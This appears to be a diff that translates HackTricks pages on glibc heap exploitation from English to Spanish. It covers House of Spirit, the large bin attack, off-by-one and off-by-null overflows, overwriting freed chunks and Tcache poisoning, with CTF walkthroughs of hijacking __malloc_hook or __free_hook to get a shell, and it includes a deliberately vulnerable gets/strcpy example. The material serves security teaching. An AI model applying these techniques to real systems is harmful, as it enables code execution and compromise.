- **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html) - **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
- **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF - **Libc infoleak**: A través de un desbordamiento es posible cambiar un puntero para que apunte a una dirección GOT con el fin de filtrar una dirección libc a través de la acción de lectura del CTF.
- **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\ - **House of Spirit**: Abusando de un contador que cuenta el número de "rifles", es posible generar un tamaño falso del primer chunk falso, luego abusando de un "mensaje" es posible falsificar el segundo tamaño de un chunk y finalmente, abusando de un desbordamiento, es posible cambiar un puntero que va a ser liberado para que nuestro primer chunk falso sea liberado. Luego, podemos asignarlo y dentro de él estará la dirección donde se almacena el "mensaje". Entonces, es posible hacer que esto apunte a la entrada `scanf` dentro de la tabla GOT, para que podamos sobrescribirlo con la dirección del sistema.\
Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell. La próxima vez que se llame a `scanf`, podemos enviar la entrada `"/bin/sh"` y obtener un shell.
- [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) - [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
- **Glibc leak**: Uninitialized stack buffer. - **Glibc leak**: Búfer de pila no inicializado.
- **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive. - **House of Spirit**: Podemos modificar el primer índice de un array global de punteros de heap. Con una sola modificación de byte, usamos `free` en un chunk falso dentro de un chunk válido, de modo que obtenemos una situación de chunks superpuestos después de asignar nuevamente. Con eso, un simple ataque de envenenamiento de Tcache funciona para obtener una primitiva de escritura arbitraria.
## References ## Referencias
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit) - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)

View File

@ -2,57 +2,55 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
For more information about what is a large bin check this page: Para más información sobre qué es un large bin, consulta esta página:
{{#ref}} {{#ref}}
bins-and-memory-allocations.md bins-and-memory-allocations.md
{{#endref}} {{#endref}}
It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). Es posible encontrar un gran ejemplo en [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met. Básicamente, aquí puedes ver cómo, en la última versión "actual" de glibc (2.35), no se verifica: **`P->bk_nextsize`** permitiendo modificar una dirección arbitraria con el valor de un chunk de large bin si se cumplen ciertas condiciones.
In that example you can find the following conditions: En ese ejemplo puedes encontrar las siguientes condiciones:
- A large chunk is allocated - Se asigna un chunk grande
- A large chunk smaller than the first one but in the same index is allocated - Se asigna un chunk grande más pequeño que el primero pero en el mismo índice
- Must be smalled so in the bin it must go first - Debe ser más pequeño, así que debe ir primero en el bin
- (A chunk to prevent merging with the top chunk is created) - (Se crea un chunk para evitar la fusión con el chunk superior)
- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin - Luego, se libera el primer chunk grande y se asigna un nuevo chunk más grande que él -> Chunk1 va al large bin
- Then, the second large chunk is freed - Luego, se libera el segundo chunk grande
- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]` - Ahora, la vulnerabilidad: El atacante puede modificar `chunk1->bk_nextsize` a `[target-0x20]`
- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2 - Luego, se asigna un chunk más grande que el chunk 2, por lo que chunk2 se inserta en el large bin sobrescribiendo la dirección `chunk1->bk_nextsize->fd_nextsize` con la dirección de chunk2
> [!TIP] > [!TIP]
> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to. > Hay otros escenarios potenciales, la cuestión es añadir al large bin un chunk que sea **más pequeño** que un chunk X actual en el bin, por lo que debe insertarse justo antes de él en el bin, y necesitamos poder modificar **`bk_nextsize`** de X, ya que ahí es donde se escribirá la dirección del chunk más pequeño.
This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten:
Este es el código relevante de malloc. Se han añadido comentarios para entender mejor cómo se sobrescribió la dirección:
```c ```c
/* if smaller than smallest, bypass loop below */ /* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk)); assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{ {
fwd = bck; // fwd = p1 fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk bck = bck->bk; // bck = p1->bk
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
} }
``` ```
Esto podría usarse para **sobrescribir la variable global `global_max_fast`** de libc para luego explotar un ataque de fast bin con bloques más grandes.
This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks. Puedes encontrar otra gran explicación de este ataque en [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html). ### Otros ejemplos
### Other examples
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/) - [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
- Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). - Ataque de large bin en la misma situación en la que aparece en [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- The write primitive is more complex, because `global_max_fast` is useless here. - La primitiva de escritura es más compleja, porque `global_max_fast` es inútil aquí.
- FSOP is needed to finish the exploit. - Se necesita FSOP para terminar el exploit.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,115 +1,113 @@
# Off by one overflow # Desbordamiento por uno
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks. Tener acceso a un desbordamiento de 1B permite a un atacante modificar el campo `size` del siguiente chunk. Esto permite manipular qué chunks están realmente liberados, generando potencialmente un chunk que contiene otro chunk legítimo. La explotación es similar a [double free](double-free.md) o chunks superpuestos.
There are 2 types of off by one vulnerabilities: Hay 2 tipos de vulnerabilidades de desbordamiento por uno:
- Arbitrary byte: This kind allows to overwrite that byte with any value - Byte arbitrario: Este tipo permite sobrescribir ese byte con cualquier valor.
- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00 - Byte nulo (off-by-null): Este tipo permite sobrescribir ese byte solo con 0x00.
- A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk. - Un ejemplo común de esta vulnerabilidad se puede ver en el siguiente código donde el comportamiento de `strlen` y `strcpy` es inconsistente, lo que permite establecer un byte 0x00 al principio del siguiente chunk.
- This can be expoited with the [House of Einherjar](house-of-einherjar.md). - Esto puede ser explotado con [House of Einherjar](house-of-einherjar.md).
- If using Tcache, this can be leveraged to a [double free](double-free.md) situation. - Si se utiliza Tcache, esto puede aprovecharse para una situación de [double free](double-free.md).
<details> <details>
<summary>Off-by-null</summary> <summary>Off-by-null</summary>
```c ```c
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/ // From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
int main(void) int main(void)
{ {
char buffer[40]=""; char buffer[40]="";
void *chunk1; void *chunk1;
chunk1 = malloc(24); chunk1 = malloc(24);
puts("Get Input"); puts("Get Input");
gets(buffer); gets(buffer);
if(strlen(buffer)==24) if(strlen(buffer)==24)
{ {
strcpy(chunk1,buffer); strcpy(chunk1,buffer);
} }
return 0; return 0;
} }
``` ```
</details> </details>
Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28. Entre otras verificaciones, ahora cada vez que un bloque está libre, el tamaño anterior se compara con el tamaño configurado en el bloque de metadatos, lo que hace que este ataque sea bastante complejo a partir de la versión 2.28.
### Code example: ### Ejemplo de código:
- [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c) - [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c)
- This attack is no longer working due to the use of Tcaches. - Este ataque ya no funciona debido al uso de Tcaches.
- Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)` - Además, si intentas abusar de él usando bloques más grandes (para que no se involucren los tcaches), recibirás el error: `malloc(): invalid next size (unsorted)`
### Goal ### Objetivo
- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one - Hacer que un bloque esté contenido dentro de otro bloque, de modo que el acceso de escritura sobre ese segundo bloque permita sobrescribir el contenido del primero.
### Requirements ### Requisitos
- Off by one overflow to modify the size metadata information - Desbordamiento off by one para modificar la información de metadatos del tamaño.
### General off-by-one attack ### Ataque general off-by-one
- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk. - Asignar tres bloques `A`, `B` y `C` (digamos tamaños 0x20), y otro para evitar la consolidación con el bloque superior.
- Free `C` (inserted into 0x20 Tcache free-list). - Liberar `C` (insertado en la lista libre Tcache de 0x20).
- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41. - Usar el bloque `A` para desbordar sobre `B`. Abusar del off-by-one para modificar el campo `size` de `B` de 0x21 a 0x41.
- Now we have `B` containing the free chunk `C` - Ahora tenemos `B` conteniendo el bloque libre `C`.
- Free `B` and allocate a 0x40 chunk (it will be placed here again) - Liberar `B` y asignar un bloque de 0x40 (se colocará aquí nuevamente).
- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning) - Podemos modificar el puntero `fd` de `C`, que sigue estando libre (envenenamiento de Tcache).
### Off-by-null attack ### Ataque off-by-null
- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that its 0x10 smaller than it really is). - Se reservan 3 bloques de memoria (a, b, c) uno tras otro. Luego, se libera el del medio. El primero contiene una vulnerabilidad de desbordamiento off by one y el atacante abusa de ella con un 0x00 (si el byte anterior era 0x10, haría que el bloque del medio indicara que es 0x10 más pequeño de lo que realmente es).
- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should. - Luego, se asignan 2 bloques más pequeños en el bloque liberado del medio (b), sin embargo, como `b + b->size` nunca actualiza el bloque c porque la dirección apuntada es más pequeña de lo que debería.
- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c. - Luego, b1 y c se liberan. Como `c - c->prev_size` aún apunta a b (ahora b1), ambos se consolidan en un solo bloque. Sin embargo, b2 sigue estando entre b1 y c.
- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2. - Finalmente, se realiza un nuevo malloc reclamando esta área de memoria que en realidad contendrá b2, permitiendo al propietario del nuevo malloc controlar el contenido de b2.
This image explains perfectly the attack: Esta imagen explica perfectamente el ataque:
<figure><img src="../../images/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure> <figure><img src="../../images/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
## Other Examples & References ## Otros Ejemplos y Referencias
- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks) - [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)
- [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/) - [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
- Off-by-one because of `strlen` considering the next chunk's `size` field. - Off-by-one debido a que `strlen` considera el campo `size` del siguiente bloque.
- Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning. - Se está utilizando Tcache, por lo que un ataque general off-by-one funciona para obtener una primitiva de escritura arbitraria con envenenamiento de Tcache.
- [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks) - [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)
- It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field. - Es posible abusar de un off by one para filtrar una dirección del heap porque el byte 0x00 al final de una cadena está siendo sobrescrito por el siguiente campo.
- Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write. - La escritura arbitraria se obtiene abusando del off by one para hacer que el puntero apunte a otro lugar donde se construirá una estructura falsa con punteros falsos. Luego, es posible seguir el puntero de esta estructura para obtener escritura arbitraria.
- The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc. - La dirección de libc se filtra porque si el heap se extiende usando mmap, la memoria asignada por mmap tiene un desplazamiento fijo desde libc.
- Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget. - Finalmente, se abusa de la escritura arbitraria para escribir en la dirección de \_\_free_hook con un one gadget.
- [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb) - [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)
- There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content. - Hay una vulnerabilidad de NULL off by one en la función `getline` que lee líneas de entrada del usuario. Esta función se utiliza para leer la "clave" del contenido y no el contenido.
- In the writeup 5 initial chunks are created: - En el informe se crean 5 bloques iniciales:
- chunk1 (0x200) - chunk1 (0x200)
- chunk2 (0x50) - chunk2 (0x50)
- chunk5 (0x68) - chunk5 (0x68)
- chunk3 (0x1f8) - chunk3 (0x1f8)
- chunk4 (0xf0) - chunk4 (0xf0)
- chunk defense (0x400) to avoid consolidating with top chunk - chunk defensa (0x400) para evitar la consolidación con el bloque superior.
- Then chunk 1, 5 and 3 are freed, so: - Luego, se liberan los bloques 1, 5 y 3, así que:
- ```python - ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defensa ]
``` ```
- Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`. - Luego, abusando de chunk3 (0x1f8), se abusa del off-by-one nulo escribiendo el prev_size como `0x4e0`.
- Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` - Nota cómo los tamaños de los bloques inicialmente asignados 1, 2, 5 y 3 más los encabezados de 4 de esos bloques suman `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning: - Luego, se libera el bloque 4, generando un bloque que consume todos los bloques hasta el principio:
- ```python - ```python
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] [ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defensa ]
``` ```
- ```python - ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defensa ]
``` ```
- Then, `0x200` bytes are allocated filling the original chunk 1 - Luego, se asignan `0x200` bytes llenando el bloque original 1.
- And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done - Y se asignan otros 0x200 bytes y se destruye chunk2 y por lo tanto no hay ninguna filtración y esto no funciona? Quizás esto no debería hacerse.
- Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook` - Luego, se asigna otro bloque con 0x58 "a"s (sobrescribiendo chunk2 y alcanzando chunk5) y se modifica el `fd` del bloque rápido de chunk5 apuntando a `__malloc_hook`.
- Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk - Luego, se asigna un bloque de 0x68 para que el bloque rápido falso en `__malloc_hook` sea el siguiente bloque rápido.
- Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address - Finalmente, se asigna un nuevo bloque rápido de 0x68 y `__malloc_hook` se sobrescribe con una dirección de `one_gadget`.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,23 +1,23 @@
# Overwriting a freed chunk # Sobrescribiendo un chunk liberado
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access: Varias de las técnicas de explotación de heap propuestas necesitan poder sobrescribir punteros dentro de chunks liberados. El objetivo de esta página es resumir las vulnerabilidades potenciales que podrían otorgar este acceso:
### Simple Use After Free ### Uso Simple Después de Liberar
If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers. Si es posible para el atacante **escribir información en un chunk libre**, podrían abusar de esto para sobrescribir los punteros necesarios.
### Double Free ### Doble Liberación
If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...) Si el atacante puede **`free` dos veces el mismo chunk** (liberando otros chunks entre medio potencialmente) y hacer que esté **2 veces en el mismo bin**, sería posible para el usuario **asignar el chunk más tarde**, **escribir los punteros necesarios** y luego **asignarlo de nuevo**, desencadenando las acciones del chunk siendo asignado (por ejemplo, ataque de fast bin, ataque de tcache...)
### Heap Overflow ### Desbordamiento de Heap
It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it. Podría ser posible **desbordar un chunk asignado teniendo a continuación un chunk liberado** y modificar algunos encabezados/punteros de este.
### Off-by-one overflow ### Desbordamiento Off-by-one
In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section). En este caso sería posible **modificar el tamaño** del siguiente chunk en memoria. Un atacante podría abusar de esto para **hacer que un chunk asignado tenga un tamaño mayor**, luego **`free`** este, haciendo que el chunk sea **agregado a un bin de un tamaño diferente** (mayor), luego asignar el **tamaño falso**, y el ataque tendrá acceso a un **chunk con un tamaño que es mayor** de lo que realmente es, **otorgando por lo tanto una situación de chunks superpuestos**, que es explotable de la misma manera que un **desbordamiento de heap** (ver sección anterior).
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,46 +2,46 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
For more information about what is a Tcache bin check this page: Para más información sobre qué es un Tcache bin, consulta esta página:
{{#ref}} {{#ref}}
bins-and-memory-allocations.md bins-and-memory-allocations.md
{{#endref}} {{#endref}}
First of all, note that the Tcache was introduced in Glibc version 2.26. Primero que nada, ten en cuenta que el Tcache fue introducido en la versión 2.26 de Glibc.
The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**. El **ataque Tcache** (también conocido como **envenenamiento de Tcache**) propuesto en la [**página de guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) es muy similar al ataque de fast bin, donde el objetivo es sobrescribir el puntero al siguiente chunk en el bin dentro de un chunk liberado a una dirección arbitraria para que luego sea posible **asignar esa dirección específica y potencialmente sobrescribir punteros**.
However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned). Sin embargo, hoy en día, si ejecutas el código mencionado, obtendrás el error: **`malloc(): unaligned tcache chunk detected`**. Por lo tanto, es necesario escribir como dirección en el nuevo puntero una dirección alineada (o ejecutar el binario suficientes veces para que la dirección escrita esté realmente alineada).
### Tcache indexes attack ### Ataque de índices Tcache
Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case. Por lo general, es posible encontrar al principio del heap un chunk que contiene la **cantidad de chunks por índice** dentro del tcache y la dirección del **chunk cabeza de cada índice de tcache**. Si por alguna razón es posible modificar esta información, sería posible **hacer que el chunk cabeza de algún índice apunte a una dirección deseada** (como `__malloc_hook`) para luego asignar un chunk del tamaño del índice y sobrescribir el contenido de `__malloc_hook` en este caso.
## Examples ## Ejemplos
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html) - CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**. - **Fuga de información de Libc**: Es posible llenar los tcaches, agregar un chunk a la lista no ordenada, vaciar el tcache y **re-asignar el chunk de la bin no ordenada** solo sobrescribiendo los primeros 8B, dejando la **segunda dirección a libc del chunk intacta para que podamos leerla**.
- **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\ - **Ataque Tcache**: El binario es vulnerable a un desbordamiento de heap de 1B. Esto se abusará para cambiar el **encabezado de tamaño** de un chunk asignado haciéndolo más grande. Luego, este chunk será **liberado**, agregándolo al tcache de chunks de tamaño falso. Después, asignaremos un chunk con el tamaño falso, y el chunk anterior será **devuelto sabiendo que este chunk era en realidad más pequeño** y esto brinda la oportunidad de **sobrescribir el siguiente chunk en memoria**.\
We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**. Abusaremos de esto para **sobrescribir el puntero FD del siguiente chunk** para que apunte a **`malloc_hook`**, de modo que luego sea posible asignar 2 punteros: primero el puntero legítimo que acabamos de modificar, y luego la segunda asignación devolverá un chunk en **`malloc_hook`** que se puede abusar para escribir un **one gadget**.
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html) - CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one) - **Fuga de información de Libc**: Hay un uso después de liberar y un doble liberado. En este informe, el autor filtró una dirección de libc al leer la dirección de un chunk colocado en un bin pequeño (como filtrarlo de la bin no ordenada pero del pequeño).
- **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell. - **Ataque Tcache**: Se realiza un Tcache a través de un **doble liberado**. El mismo chunk se libera dos veces, por lo que dentro del Tcache el chunk apuntará a sí mismo. Luego, se asigna, su puntero FD se modifica para apuntar al **free hook** y luego se asigna nuevamente, por lo que el siguiente chunk en la lista estará en el free hook. Luego, esto también se asigna y es posible escribir la dirección de `system` aquí, por lo que cuando se libera un malloc que contiene `"/bin/sh"` obtenemos un shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html) - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- The main vuln here is the capacity to `free` any address in the heap by indicating its offset - La principal vulnerabilidad aquí es la capacidad de `free` cualquier dirección en el heap indicando su desplazamiento.
